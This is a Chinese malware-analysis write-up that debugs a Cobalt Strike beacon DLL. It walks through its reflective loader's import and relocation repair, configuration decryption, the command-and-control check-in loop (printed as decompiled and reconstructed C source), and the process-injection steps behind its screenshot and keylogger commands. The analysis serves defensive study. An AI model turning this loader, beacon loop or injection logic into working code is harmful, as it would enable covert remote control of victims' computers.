1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 debug079:00000000033 D6EC2 loc_33D6EC2: ; CODE XREF: debug079:00000000033 D70EB↓j debug079:00000000033 D6EC2 mov rax, [rsp+38 h] ; 重装载PE文件的导入表存储位置赋值给rax debug079:00000000033 D6EC7 cmp dword ptr [rax+0 Ch], 0 ; 检查重装载PE文件IMAGE_IMPORT_DESCRIPTOR ImportDescriptor->name debug079:00000000033 D6ECB jz loc_33D70F0 debug079:00000000033 D6ED1 mov rax, [rsp+38 h] debug079:00000000033 D6ED6 mov eax, [rax+0 Ch] debug079:00000000033 D6ED9 mov rcx, [rsp+88 h] debug079:00000000033 D6EE1 add rcx, rax debug079:00000000033 D6EE4 mov rax, rcx debug079:00000000033 D6EE7 mov rdi, [rsp+20 h] debug079:00000000033 D6EEC mov rsi, rax ; 复制的源地址:重装载PE文件的模块名称存储位置 debug079:00000000033 D6EEF mov ecx, 40 h ; '@' debug079:00000000033 D6EF4 rep movsb ; 模块名称复制 debug079:00000000033 D6EF6 movzx r8d, byte ptr [rsp+0 A0h] debug079:00000000033 D6EFF mov edx, 40 h ; '@' debug079:00000000033 D6F04 mov rcx, [rsp+20 h] ; RCX指向复制的模块名称 debug079:00000000033 D6F09 call loc_33D63A3 debug079:00000000033 D6F0E mov rcx, [rsp+20 h] debug079:00000000033 D6F13 mov rax, [rsp+80 h] debug079:00000000033 D6F1B call qword ptr [rax+10 h] ; 调用kernel32_LoadLibraryA debug079:00000000033 D6F1E mov [rsp+98 h], rax debug079:00000000033 D6F26 mov rax, [rsp+38 h] debug079:00000000033 D6F2B mov eax, [rax] debug079:00000000033 D6F2D mov rcx, [rsp+88 h] debug079:00000000033 D6F35 add rcx, rax debug079:00000000033 D6F38 mov rax, rcx debug079:00000000033 D6F3B mov [rsp+30 h], rax debug079:00000000033 D6F40 mov rax, [rsp+38 h] debug079:00000000033 D6F45 mov eax, [rax+10 h] debug079:00000000033 D6F48 mov rcx, [rsp+88 h] debug079:00000000033 D6F50 add rcx, rax debug079:00000000033 D6F53 mov rax, rcx debug079:00000000033 D6F56 mov [rsp+28 h], rax
在这个代码中间有一个call loc_33D63A3跟进
模块按名加载 loc_33D63A3调用kernel32_LoadLibraryA进行模块加载,参数为先前复制到空白区的模块名称存于RAX寄存器的返回值为模块的调用地址,压入栈中等待调用
获取功能函数名称
复制的模块名称为VirtualProtectEx
同样在loc_33D7049下
功能模块按名加载 到这的时候ida崩了,所以地址随机化可能和前面不一样,以汇编为主
1 2 3 4 5 6 7 8 9 10 debug083:00000000033 A707C movzx r8d, byte ptr [rsp+0 A0h] ; R8=0 debug083:00000000033 A7085 mov edx, 40 h ; '@' debug083:00000000033 A708A mov rcx, [rsp+20 h] ; 存储的函数名称位置,复制的目的地 debug083:00000000033 A708F call loc_33A63A3 debug083:00000000033 A7094 mov rdx, [rsp+20 h] ; 存储的函数名称位置 debug083:00000000033 A7099 mov rcx, [rsp+98 h] debug083:00000000033 A70A1 mov rax, [rsp+80 h] debug083:00000000033 A70A9 call qword ptr [rax+8 ] ; kernel32_GetProcAddress debug083:00000000033 A70AC mov rcx, [rsp+28 h] ; IAT地址 debug083:00000000033 A70B1 mov [rcx], rax ; 将IAT存入
继续执行loc_32570B4,判断是否还有未载入的功能函数
当所有功能函数的调用地址更新进IAT后,程序将直接返回loc_3256F5B段,进行下一个模块的函数加载
1 2 3 4 5 6 7 8 9 10 11 12 13 debug081:00000000032570B 4 loc_32570B4: ; CODE XREF: debug081:0000000003257047 ↑j debug081:00000000032570B 4 mov rax, [rsp+28 h] debug081:00000000032570B 9 add rax, 8 debug081:00000000032570B D mov [rsp+28 h], rax debug081:00000000032570 C2 cmp qword ptr [rsp+30 h], 0 ; 查看INT表 debug081:00000000032570 C8 jz short loc_32570D8 debug081:00000000032570 CA mov rax, [rsp+30 h] debug081:00000000032570 CF add rax, 8 debug081:00000000032570 D3 mov [rsp+30 h], rax debug081:00000000032570 D8 debug081:00000000032570 D8 loc_32570D8: ; CODE XREF: debug081:00000000032570 C8↑j debug081:00000000032570 D8 jmp loc_3256F5B debug081:00000000032570 DD ; ---------------------------------------------
每当INT中的函数加载完毕,都将回到程序段loc_3256EC2进行判断(也就是这个函数起始位置),当发现所有模块都已经加载完毕, 就会清理临时存储区,进入文件修复的下一个阶段
重定位表修复 pe头中数据表第六位是IMAGE_DIRECTORY_ENTRY_BASERELOC,这个中的VirtualAddress保存了重定位表存储位置的RVA,第二个表现Size存储了重定位表的大小
重定位表分成可变长度的块,每块由基地址,表大小和存储的偏移地址组成 基地址+偏移地址=VA
修复装载pe文件定位表,步骤:
PE文件重定位差值计算
PE文件重定位表存储位置获取
遍历重装载PE文件重定位表修改
准备工作
修复重定位表是在call loc_3267113
重装载PE文件内存首地址与ImageBase差值的计算,存入[rsp+20h]
源PE文件IMAGE_DIRECTORY_ENTRY_BASERELOC获取,存入[rsp+18h]
重装载PE文件重定位表位置的计算,存入[rsp+10h]
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 debug085:0000000003267113 loc_3267113: ; CODE XREF: debug085:00000000032662 EF↑p debug085:0000000003267113 mov [rsp+10 h], rdx ; 将pe头地址存入[rsp+10 h]的栈中 debug085:0000000003267118 mov [rsp+8 ], rcx ; 将beacon.dll文件地址存入[rsp+8 h]的中 debug085:000000000326711 D sub rsp, 38 h debug085:0000000003267121 mov rax, [rsp+48 h] ; F8h->源PE文件:PE头 debug085:0000000003267126 mov rax, [rax+30 h] ; 128 h->源PE文件:ImageBase=180000000 h debug085:000000000326712 A mov rcx, [rsp+40 h] ; 重装载PE文件内存首地址 debug085:000000000326712F sub rcx, rax ; 计算出重定位差值:FFFFFFFE80190000h debug085:0000000003267132 mov rax, rcx debug085:0000000003267135 mov [rsp+20 h], rax ; 将重定位差存入[rsp+20 h] debug085:000000000326713 A mov eax, 8 ; IMAGE_DATA_DIRECTORY size debug085:000000000326713F imul rax, 5 ; IMAGE_DIRECTORY_ENTRY_BASERELOC在数据表第6 位 debug085:0000000003267143 mov rcx, [rsp+48 h] ; F8h->源PE文件:PE头 debug085:0000000003267148 lea rax, [rcx+rax+88 h] ; 1 A8h->源PE文件:IMAGE_DIRECTORY_ENTRY_BASERELOC debug085:0000000003267150 mov [rsp+18 h], rax ; [rsp+18 h]=源PE文件:IMAGE_DIRECTORY_ENTRY_BASERELOC debug085:0000000003267155 mov rax, [rsp+18 h] debug085:000000000326715 A cmp dword ptr [rax+4 ], 0 ; 源PE文件:IMAGE_DIRECTORY_ENTRY_BASERELOC->size?=0 debug085:000000000326715 E jz loc_326739F debug085:0000000003267164 mov rax, [rsp+18 h] ; 4 D000h(OPE->IDEB->RVA) debug085:0000000003267169 mov eax, [rax] ; 重装载PE文件内存首地址 debug085:000000000326716B mov rcx, [rsp+40 h] ; 计算出重装载PE文件重定位表位置 debug085:0000000003267170 add rcx, rax debug085:0000000003267173 mov rax, rcx debug085:0000000003267176 mov [rsp+10 h], rax ; [rsp+10 h]=重装载PE文件重定位表位置
继续调试loc_326717B ,这里进行了:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 debug085:000000000326717B loc_326717B: ; CODE XREF: debug085:000000000326739 A↓j debug085:000000000326717B mov rax, [rsp+10 h] debug085:0000000003267180 cmp dword ptr [rax+4 ], 0 debug085:0000000003267184 jz loc_326739F debug085:000000000326718 A mov rax, [rsp+10 h] ; 重装载PE文件重定位表位置 debug085:000000000326718F mov eax, [rax] ; 重定位表块基址(RVA:2 C000h) debug085:0000000003267191 mov rcx, [rsp+40 h] ; 重装载PE文件内存首地址 debug085:0000000003267196 add rcx, rax ; 重装载PE文件需要重定位块基地址:367 C000h debug085:0000000003267199 mov rax, rcx debug085:000000000326719 C mov [rsp+8 ], rax debug085:00000000032671 A1 mov rax, [rsp+10 h] ; 重装载PE文件重定位表位置 debug085:00000000032671 A6 mov eax, [rax+4 ] ; SizeOfBlock=18 h debug085:00000000032671 A9 sub rax, 8 ; VirtualAddress和SizeOfBlock占用8 h debug085:00000000032671 AD xor edx, edx debug085:00000000032671 AF mov ecx, 2 ; 每个偏移地址占据两字节 debug085:00000000032671B 4 div rcx ; 计算出偏移地址个数 debug085:00000000032671B 7 mov [rsp+18 h], rax ; [rsp+18 h]=偏移地址个数,8 h debug085:00000000032671B C mov rax, [rsp+10 h] ; RAX=重装载PE文件重定位表位置 debug085:00000000032671 C1 add rax, 8 ; RAX=重装载PE文件重定位表子偏移地址位置 debug085:00000000032671 C5 mov [rsp], rax
loc_32671C9进行待处理偏移地址个数的判断,并进行标记为Ah(1010b)的偏移地址 的处理,更新对应的偏移值;IMAGE_REL_BASED_DIR64
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 debug085:00000000032671 C9 loc_32671C9: ; CODE XREF: debug085:000000000326737 D↓j debug085:00000000032671 C9 mov rax, [rsp+18 h] debug085:00000000032671 CE mov [rsp+28 h], rax ; 偏移地址个数=8 debug085:00000000032671 D3 mov rax, [rsp+18 h] debug085:00000000032671 D8 dec rax debug085:00000000032671 DB mov [rsp+18 h], rax debug085:00000000032671E0 cmp qword ptr [rsp+28 h], 0 ; 偏移地址为0 跳转 debug085:00000000032671E6 jz loc_3267382 debug085:0000000003267382 ; --------------------------------------------------------------------------- debug085:0000000003267382 debug085:0000000003267382 loc_3267382: ; CODE XREF: debug085:00000000032671E6 ↑j debug085:0000000003267382 mov rax, [rsp+10 h] ; 重装载PE文件重定位表位置 debug085:0000000003267387 mov eax, [rax+4 ] ; 重装载PE文件重定位表SizeOfBlock位置 debug085:000000000326738 A mov rcx, [rsp+10 h] ; 重装载PE文件重定位表位置 debug085:000000000326738F add rcx, rax ; 下一个重定位表位置 debug085:0000000003267392 mov rax, rcx debug085:0000000003267395 mov [rsp+10 h], rax ; 下一个重定位表位置存到[rsp+10 h] debug085:000000000326739 A jmp loc_326717B debug085:000000000326739F ; --------------------------------------------------------------------------- debug085:00000000032671 EC mov rax, [rsp] ; 重装载PE文件重定位表子偏移地址位置 debug085:00000000032671F 0 movzx eax, word ptr [rax] ; 子偏移地址 A658h debug085:00000000032671F 3 shr ax, 0 Ch ; AX右移0 Ch左侧补0 debug085:00000000032671F 7 and ax, 0F h debug085:00000000032671F B movzx eax, ax debug085:00000000032671F E cmp eax, 0 Ah ; BaseRelocationType=Ah(10 );IMAGE_REL_BASED_DIR64 debug085:0000000003267201 jnz short loc_3267249 debug085:0000000003267203 mov eax, 0F FFh debug085:0000000003267208 mov rcx, [rsp] ; 重装载PE文件重定位表子偏移地址位置 debug085:000000000326720 C movzx ecx, word ptr [rcx] ; 子偏移地址 A658h debug085:000000000326720F and cx, ax ; 用与运算取低十二位 658 h debug085:0000000003267212 movzx eax, cx debug085:0000000003267215 movzx eax, ax debug085:0000000003267218 mov rcx, [rsp+8 ] ; 重装载PE文件重定位表基地址 debug085:000000000326721 D mov rax, [rcx+rax] ; [rcx+rax]=[RVA+子偏移地址]=[1B C658h]=18001 C8C8h debug085:0000000003267221 add rax, [rsp+20 h] ; RAX+重定位差值(FFFFFFFE80190000h)=1 AC8C8h debug085:0000000003267226 mov ecx, 0F FFh debug085:000000000326722B mov rdx, [rsp] ; 重装载PE文件重定位表子偏移地址位置 debug085:000000000326722F movzx edx, word ptr [rdx] debug085:0000000003267232 and dx, cx debug085:0000000003267235 movzx ecx, dx debug085:0000000003267238 movzx ecx, cx debug085:000000000326723B mov rdx, [rsp+8 ] ; 重装载PE文件重定位表存储地址:1B C000h debug085:0000000003267240 mov [rdx+rcx], rax ; [1B C658h]=1 AC8C8h,修改偏移 debug085:0000000003267244 jmp loc_3267371 debug085:0000000003267249 ; ---------------------------------------------------------------------------
loc_3267249,标识值为3h(0111b)的偏移地址;IMAGE_REL_BASED_HIGHLOW
loc_32672A3,标识值为1h(0001b)的偏移地址;IMAGE_REL_BASED_HIGH
loc_326730D,标识值为2h(0010b)的偏移地址;IMAGE_REL_BASED_LOW
loc_326739F,返回
堆栈与临储清理,修改入口点 临储区清理:
入口点修改:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 debug085:000000000326631 E mov rax, [rsp+38 h] ; 源PE文件:PE头 debug085:0000000003266323 movzx eax, word ptr [rax+16 h] ; FILE_CHARACTERISTICSCharacteristics:A022h debug085:0000000003266327 and eax, 1000 h debug085:000000000326632 C cmp eax, 1000 h debug085:0000000003266331 jnz short loc_3266350 debug085:0000000003266350 ; --------------------------------------------------------------------------- debug085:0000000003266350 debug085:0000000003266350 loc_3266350: ; CODE XREF: debug085:0000000003266331 ↑j debug085:0000000003266350 mov rax, [rsp+38 h] ; 源PE文件:PE头 debug085:0000000003266355 mov eax, [rax+28 h] ; AddressOfEntryPoint debug085:0000000003266358 mov rcx, [rsp+40 h] ; 重装载PE文件内存首地址 debug085:000000000326635 D add rcx, rax ; 计算出的入口点 debug085:0000000003266360 mov rax, rcx debug085:0000000003266363 mov [rsp+60 h], rax ; 重装载PE文件入口点 debug085:0000000003266368 debug085:0000000003266368 loc_3266368: ; CODE XREF: debug085:000000000326634 E↑j debug085:0000000003266368 mov r8, [rsp+0E0 h] debug085:0000000003266370 mov edx, 1 debug085:0000000003266375 mov rcx, [rsp+40 h] ; 重装载PE文件内存首地址(0x03650000 h) debug085:000000000326637 A call qword ptr [rsp+60 h] ; 执行重装载PE文件 debug085:000000000326637 E mov rax, [rsp+60 h] debug085:0000000003266383 add rsp, 0 D0h debug085:000000000326638 A pop rdi debug085:000000000326638B retn debug085:000000000326638B ; --------------------------------------------------------------------------- ……
到这里远程文件的下载和装载都已经完成
装载文件运行
查看提取出的PE文件,发现入口点修改的结果
DLL的入口点调用与初始化 用户定义的dll入口点函数:DllMain() 用户定义的dll入口点函数,用于beacon.dll初始化
fdwReason=1,运行sub_18001876C()函数,推测其可能为beacon_int()函数, 进行了Beacon的初始化
当fdwReason=4时,程序将运行sub_18000CA74()函数,推测其可能为beacon的主功能函数, 进行上线,等候任务下发
动态调试beacon_init()
通过上面的Dll入口点的非用户行为,直接跳转,通过分析得到call sub_176C2C即DllMain()
Beacon的初始化:Beacon_int() 通过分析得知,sub_17876C()就是Beacon_int()
注意xor解密这里,使用了19C030h的0x1000个数据与0x2e进行xor解密
发现这里是解密了beacon的配置文件
解密完成后sub_173F08()函数对刚解密的数据进行了操作,跟进分析这个函数的作用
这是对解密后的数据赋值给了v10,以及存储配置文件长度
接下来进入while循环
对应beacon_Src项目参考为:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 for (int index = BeaconDataShort(&c2profile);;index = BeaconDataShort(&c2profile)){ if (index <= 0 ) break ; WORD data_type = BeaconDataShort(&c2profile); WORD data_size = BeaconDataShort(&c2profile); int size = index_size * index; *(WORD*)(CsC2Config + size) = data_type; switch (data_type) { case 1 : *(WORD*)(CsC2Config + size + sizeof (size_t )) =BeaconDataShort(&c2profile); break ; case 2 : *(DWORD*)(CsC2Config + size + sizeof (size_t )) =BeaconDataInt(&c2profile); break ; case 3 : *(ULONG_PTR*)(CsC2Config + size + sizeof (size_t )) =(ULONG_PTR)malloc (data_size); void * data = BeaconDataPtr(&c2profile, data_size); memcpy (*(ULONG_PTR**)(CsC2Config + size + sizeof (size_t )), data,data_size); break ; } }
参考
而while循环中的v8 = sub_173FB4(v10);就是调用BeaconDataShort()函数
美化函数:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 short BeaconDataShort (datap* parser) { short result; if (parser->length < sizeof (short )) return 0 ; result = ntohs(*(u_short*)parser->buffer); parser->buffer += sizeof (short ); parser->length -= sizeof (short ); return result; }
接下来又配置了两次,直接跳过
执行case1
1 2 3 case 1 : *(WORD*)(CsC2Config + size + sizeof (size_t )) = BeaconDataShort(&c2profile); break ;
将处理过的配置内容放入*(v5 + qword_1A7708 + 8),即表达式计算出一个新的内存地址
程序将在此循环来处理所有读取到的配置,不同的case对应不同类型内容的处理
当case全部完成后,进行返回
1 return memset (byte_19C030, 0 i64, 4096 i64);
beacon_init结束后,又跳转回了原程序,fdwReason=4调用beacon的入口点
正式上线:Beacon_main()
如果 hinstDLL 不为空,并且 VirtualQuery(hinstDLL, &Buffer, 0x30ui64) 成功,则进一步检查 Buffer.Type:
如果 Buffer.Type 是 0x20000(MEM_IMAGE),则调用 VirtualFree(hinstDLL, 0i64, 0x8000u) 释放内存。
如果 Buffer.Type 是 0x40000(MEM_MAPPED),则调用 UnmapViewOfFile(hinstDLL) 取消内存映射。
最后,调用 sub_18000CA74(lpvReserved) 函数。
进入sub_18000CA74函数
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 __int64 sub_1ACA74 () { __int64 v0; unsigned int v1; __int64 v2; unsigned int v3; int v4; __int64 v5; int v6; unsigned int v7; unsigned __int16 v8; unsigned int v9; __int64 v10; unsigned int v11; __int64 v12; __int64 v13; unsigned int v14; int v15; int v16; int v17; int v18; __int64 v19; __int64 v22; __int64 v23; __int64 v24; __int64 v25; v0 = (unk_1B3DFC)(640 i64); v24 = (unk_1B3F50)(v0, 256 i64); (unk_1B3F50)(v0, 256 i64); v1 = 0 ; v2 = (unk_1B3F50)(v0, 128 i64); v25 = (unk_1B8708)(8 i64); (unk_1B873C)(67 i64); (unk_1B86B4)(68 i64); (unk_1B86B4)(69 i64); (unk_1B86B4)(70 i64); (unk_1B873C)(1 i64); v3 = (unk_1B873C)(2 i64); v4 = (unk_1B86B4)(3 i64); (unk_1B86B4)(19 i64); v23 = (unk_1B8708)(9 i64); v22 = (unk_1B8708)(10 i64); v5 = (unk_1B9DF0)(16 i64); v6 = (unk_1B86B4)(69 i64); v7 = (unk_1B86B4)(70 i64); LODWORD(v0) = (unk_1B86B4)(68 i64); v8 = (unk_1B873C)(67 i64); (unk_1B909C)(v5, v8, v0, v7, v6); if ((unk_1AE69C)()) sub_1B91DC(); dword_1DC000 = v4; dword_1DE468 = (unk_1B873C)(5 i64); v9 = (unk_1B86B4)(4 i64); v10 = (unk_1B9DF0)(v9); v11 = (unk_1B86B4)(4 i64); (unk_1B3A70)(v10, v11); while (dword_1DC000) { v12 = (unk_1B8C9C)(v25, v1, v5); (unk_1BA1AC)(v2, 128 i64, &unk_1CC6C4, v12); v1 = 0 ; v13 = (unk_1B8C9C)(v25, 0 i64, v5); (unk_1BA1AC)(v24, 128 i64, &unk_1CC6C4, v13); dword_1DC004 = 1 ; (unk_1BA1AC)(&unk_1E7B60, 256 i64, &unk_1CC6C4, v22); (unk_1ADFD4)(v2, v3, v23); v14 = (unk_1B86B4)(4 i64); v15 = (unk_1ADF80)(v24, &unk_1E7720, v10, v14); v16 = v15; if (v15 > 0 ) { v17 = (unk_1B824C)(v10, v15); v16 = v17; if (v17 <= 0 ) { v16 = -1 ; v1 = 1 ; } else { (unk_1B6654)(v10, v17); } } if (v16 == -1 ) { v1 = 1 ; } else { (unk_1B4704)(&unk_1ACDD0); v18 = (unk_1B86B4)(28 i64); v19 = &unk_80000; if (v18) v19 = 4096 i64; (unk_1B0228)(&unk_1ACDD0, v19); (unk_1B2F4C)(&unk_1ACDD0); (unk_1B29D8)(&unk_1ACDD0, &unk_80000); if ((unk_1AE69C)()) (unk_1AE734)(&unk_1ACDD0); if (dword_1DE488 > 0 ) { (unk_1ADF54)(); (unk_1ADFD4)(v2, v3, v23); (unk_1AE188)(&unk_1E7B60); } } (unk_1ADF54)(); if ((unk_1AE69C)()) sub_1B91DC(); if (!dword_1DC000) break ; if (dword_1DE468) { if (dword_1DC000 * dword_1DE468 / 0x64 u) (unk_1AE67C)(); } (unk_1B0A80)(); } (unk_1B9DB0)(v5); return sub_1B91DC(); }
查看资料,优化之后为:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 int main () { Beacon_init(NULL ); datap* parser = BeaconDataInit(0x280 ); char * http_get_url = BeaconDataPtr(parser, 256 ); BeaconDataPtr(parser, 256 ); char * ServerHost_buffer = (char *)BeaconDataPtr(parser, 128 ); char * ServerIP = get_str(8 ); int ServerPort = get_short(2 ); char * lpszAgent = get_str(9 ); char * ServerPostUrl = get_str(10 ); g_dwMilliseconds = get_dword(3 ); g_jitter = get_short(5 ); int conne_error = 0 ; rotationstruc* rotation_opt = (rotationstruc*)malloc (sizeof (rotationstruc)); int failover_Strategy_number = get_dword(69 ); int failover_Strategy_time = get_dword(70 ); int rotate_Strategy_time = get_dword(68 ); int strategyID = get_short(67 ); init_rotation(rotation_opt, strategyID, rotate_Strategy_time, failover_Strategy_time, failover_Strategy_number); if (beacon_stop_date()) { Beacon_exit(); } int server_output_size = get_dword(4 ); char * server_output_buffer = (char *)malloc (server_output_size); Generate_encryption_metadata(server_output_buffer, server_output_size); while (g_dwMilliseconds) { char * p_ServerHost = beacon_Rotation_Strategy(rotation_opt, ServerIP, conne_error); _snprintf(ServerHost_buffer, 0x80 , "%s" , p_ServerHost); conne_error = 0 ; char * p_ServerUrl = beacon_Rotation_Strategy(rotation_opt, ServerIP, 0 ); _snprintf(http_get_url, 0x80 , "%s" , p_ServerUrl); g_BeaconStart = 1 ; _snprintf(g_post_url, 0x100 u, "%s" , ServerPostUrl); set_winit_http(ServerHost_buffer, ServerPort, lpszAgent); int server_out_size = call_send_Metadata(http_get_url, server_output_buffer, server_output_size); if (server_out_size > 0 ) { int taskdata_size = decrypt_output_data(server_output_buffer, server_out_size); server_out_size = taskdata_size; if (taskdata_size > 0 ) { Parse_Task((BeaconTask*)server_output_buffer, taskdata_size); } } if (server_out_size == -1 ) { conne_error = 1 ; } else { sub_1000715A(); if (get_dword(28 )) { CheckDownload(4096 ); } else { CheckDownload(0x80000 ); } CheckChildBeacon(); CheckJobOutput(); if (beacon_stop_date()) { Beacon_end(); } if (g_withdatasize > 0 ) { close_http_Handle(); set_winit_http(ServerHost_buffer, ServerPort, lpszAgent); sned_beacon_data(gBeaconOutputData); } } close_http_Handle(); if (beacon_stop_date()) { Beacon_exit(); } if (!g_dwMilliseconds) { break ; } if (g_jitter) { int temp = g_dwMilliseconds * g_jitter / 0x64 ; temp = temp ? random_int() % temp : 0 ; int dwMilliseconds = g_dwMilliseconds; if (temp < g_dwMilliseconds) { dwMilliseconds = g_dwMilliseconds - temp; } BeaconSleep(dwMilliseconds); } else { BeaconSleep(g_dwMilliseconds); } } free (rotation_opt); return Beacon_exit(); }
通过源码分析,直接进入while
循环EA60h,即等待上线时间
当运行到 v16 = v15;成功上线,即call near ptr unk_1ADF80结束之后,对比源码得知
1 2 3 set_winit_http(ServerHost_buffer, ServerPort, lpszAgent); int server_out_size = call_send_Metadata(http_get_url, server_output_buffer, server_output_size);
第一行代码设置了 HTTP 连接所需的参数,第二行代码执行了一个 HTTP GET 请求并获取服务器的响应数据
beacon接收指令 查看静态汇编
1 v13 = sub_18000DF80(Buffer, &dword_180047720, v9, v12);
这个是每次循环中的请求指令
当接收到符和的指令,就会进入if判断,如果命令符和,就会调用sub_180016654(v9, v14);函数,进行命令执行
跟进分析
对接收到的命令进行解析,然后进入sub_180015F98选择执行
跟进sub_180015F98函数之后发现一堆的if判断,这里就是对不同命令进行解析后通过if判断,选择对应功能函数进行执行
Dll入口点的非用户行为 动调链接库入口点函数
加载beacon.dll调用了其入口点函数DllEntryPoint()
DLL的入口函数有三个参数:
hinstDLL:
这是一个 HINSTANCE 类型的参数,代表当前 DLL 的实例句柄。
当 DLL 被加载时,此参数包含 DLL 的加载基地址。
fdwReason:
lpReserved:
这是一个 LPVOID 类型的参数,当 fdwReason 为 DLL_PROCESS_ATTACH 或 DLL_PROCESS_DETACH 时,它包含额外的信息。
当 fdwReason 为 DLL_THREAD_ATTACH 或 DLL_THREAD_DETACH 时,此参数为 NULL。
继续刚才的动态调试
这里调用DllEntryPoint函数前,入栈了一些参数
RCX=003650000h,即加载DLL的基址
EDX=1,即本次调用的原因:DLL_PROCESS_ATTACH
R8=0,即本次为动态加载
BOOL __stdcall DllEntryPoint(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpReserved)
这里步入loc_36732B4,其实就是静态分析的
1 2 if ( fdwReason == 1 ) _security_init_cookie();
调用\_security\_init\_cookie 函数
_security_init_cookie 是 Microsoft Visual C++ 运行时库 (CRT) 提供的一个函数,用于初始化一个安全 cookie 值,以帮助检测栈溢出漏洞。
人话:安全检测函数
因为已经知道这个函数的具体作用就直接步过,下一步就是进行_DllMainCRTStartup()函数的调用
\_DllMainCRTStartup 是 Microsoft Visual C++ 运行时库 (CRT) 提供的一个特殊的 DLL 入口点函数,用于处理 DLL 的生命周期事件。它是 Windows 动态链接库 (DLL) 的标准入口点函数之一。
_DllMainCRTStartup()函数没有调用_security_init_cookie()进行安全存根校验,这是 因为VCRuntime允许在进程附加时立刻调用_security_init_cookie()进行安全存根校验,即 DllEntryPoint()中的行为
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 __int64 __fastcall _DllMainCRTStartup(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpvReserved) { BOOL v7; unsigned int v8; if (!fdwReason && !dword_1800434D8) return 0 i64; if (fdwReason - 1 <= 1 && !CRT_INIT(hinstDLL, fdwReason, lpvReserved)) return 0 i64; v7 = DllMain(hinstDLL, fdwReason, lpvReserved); v8 = v7; if (fdwReason == 1 && !v7) { DllMain(hinstDLL, 0 , lpvReserved); CRT_INIT(hinstDLL, 0 i64, lpvReserved); } if (!fdwReason || fdwReason == 3 ) v8 &= -(CRT_INIT(hinstDLL, fdwReason, lpvReserved) != 0 ); return v8; }
功能分析
1 (sub_19DFD4)(v2, v3, v23);
进入分析sub_19DFD4
api-ms-win-http-time-l1-1-0 是 Windows 操作系统中的一个 API 集合,属于 Microsoft 的 API 微软 API 版本管理体系。它通常用于处理 HTTP 请求和时间相关的功能。
off_1BC548处是一个wininet_InternetSetOptionA函数所以sub_19DFD4函数是发送请求
wininet_InternetSetOptionA 是 Windows API 中的一个函数,属于 wininet 库,用于设置 Internet 连接的选项。这个函数允许开发者配置许多 Internet 相关的行为和设置,影响 HTTP、FTP 等协议的网络请求。
函数概述
参数
HINTERNET hInternet :
一个句柄,指向一个 Internet 连接。如果为 NULL,则表示全局设置。
DWORD dwOption :
指定要设置的选项。可以是以下常量之一:
INTERNET_OPTION_PROXY:设置代理服务器。
INTERNET_OPTION_TIMEOUT:设置连接超时。
INTERNET_OPTION_USER_AGENT:设置用户代理字符串等。
LPVOID lpBuffer :
指向包含选项值的缓冲区。其类型和内容取决于 dwOption 的值。
DWORD dwBufferLength :
lpBuffer 指向的缓冲区的大小(以字节为单位)。
返回值
如果函数成功,返回值为非零值。如果失败,返回值为零,可以通过调用 GetLastError 来获取错误代码。
跳出这个函数继续调试进入19DF80偏移处的函数
这一步成功上线
ls(列出当前目录中的文件和子目录
上线之后在客户端完成交互,输入ls,之后会预先循环一次
unk_1C0A80这里实现了心跳60s,可以在客服端修改时间,为了方便调试,sleep 5修改心跳时间
进入sub_1C6654函数,继续执行到功能选择的那个函数内部
sub_1C0594函数就说实现了ls功能的函数,步进查看详细逻辑
做了一个do while()循环将当前目录下的所有文件的size、 type、 Last Modified、 Name;结束之后退出,到达sub_1BE188函数,发送了Internet请求,然后客户端接收到数据
ps操作也是和ls操作结构类似使用kernel32_GetCurrentProcess等win api函数,获取process然后储存到特定内存等到发送完Internet请求之后在客户端回显靶机的process
screenshot上线之后发送screenshot操作,和上面ls调试类似进入功能选择函数,进行判断,它会先通过sub_150CE8函数,这个函数实现了一个启动傀儡进程并注入dll的完整操作
为了方便使用之前dump的静态文件进行分析
进入sub_1800189B0继续分析
通过动调分析180018AF0似乎进行了sysnative的调用,进入sub_180015298
通过静态分析,15A0A0是memset函数,
这个函数创建了一个进程,并挂起,启动傀儡进程的关键步骤
创建了一个size=30C00h的内存空间,在内存里面找到这个dll,dump出来后面分析;WriteProcessMemory函数将代码注入到指定内存中
这里恢复挂起之后就,相当于将前面创建,并注入的线程进行运行,启动了傀儡线程?
这里是创建了一个file,将截屏保存,后面转换为网络数据,发送回到客户端
keylogger命令与screenshot类似,差距在进程注入那里的dll
补充: 实现一个傀儡进程并将 DLL 加载到内存中
实现步骤
创建傀儡进程 : 使用 CreateProcess 创建一个新的进程,该进程将作为傀儡进程。
获取 DLL 的内存 : 将 DLL 的字节流保存在内存中,而不是从磁盘加载。
